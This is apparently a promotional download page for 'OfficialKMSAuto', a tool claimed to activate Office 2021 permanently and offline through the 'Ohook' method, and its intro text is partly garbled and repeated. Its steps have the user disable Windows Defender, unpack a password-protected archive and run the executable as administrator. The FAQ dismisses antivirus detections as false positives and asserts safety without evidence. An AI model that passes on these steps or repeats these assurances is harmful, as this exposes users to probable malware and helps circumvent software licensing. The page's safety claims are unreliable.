Office 2021 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Office 2021 の日本語完全ガイドです。Activate Office 2021 LTSC and Professional Plus permanently and offline using the Ohook method via OfficialKMSAuto.
WYqejXiqBi97本記事は 2026 年版 Office 2021 の日本語完全ガイドです。Office 2021 LTSC needs the Ohook method for permanent, offline activation. OfficialKMSAuto ships the latest Ohook payload pre-bundled.
Why Ohook?
Ohook activates Office locally without ever contacting Microsoft, making activation truly permanent.
Workflow
Standard Ohook workflow.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the HWID (Windows) or Ohook (Office) green button
- Wait for 'Successfully activated' and reboot your PC
Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97